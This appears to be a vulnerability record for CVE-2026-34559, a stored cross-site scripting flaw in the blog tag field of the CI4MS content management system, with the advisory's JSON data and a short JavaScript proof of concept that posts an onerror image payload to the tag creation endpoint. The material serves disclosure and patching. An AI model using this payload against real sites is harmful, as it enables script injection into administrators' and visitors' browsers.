CVE-2026-34559

// PoC for Stored XSS in CI4MS Blog Tags // This script demonstrates injecting a payload into the tag name field // Step 1: Attacker sends a request to create a malicious tag fetch('/tags/create', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'tag_name=<img src=x onerror=alert(1)>&description=XSS_PoC' }); // Step 2: When an admin or user visits the tags listing page, // the malicious tag name is rendered, triggering the alert. // Vulnerable endpoint: /tags or /admin/tags

{"cve": {"id": "CVE-2026-34559", "sourceIdentifier": "[email protected]", "published": "2026-04-01T22:16:18.780", "lastModified": "2026-04-13T18:02:00.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when creating or editing blog tags. An attacker can inject a malicious JavaScript payload into the tag name field, which is then stored server-side. This stored payload is later rendered unsafely across public tag pages and administrative interfaces without proper output encoding, leading to stored cross-site scripting (XSS). This issue has been patched in version 0.31.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.0.0", "matchCriteriaId": "805F6B8A-9324-4CA4-BADE-439CC15DA14C"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4333-387x-w245", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4333-387x-w245", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}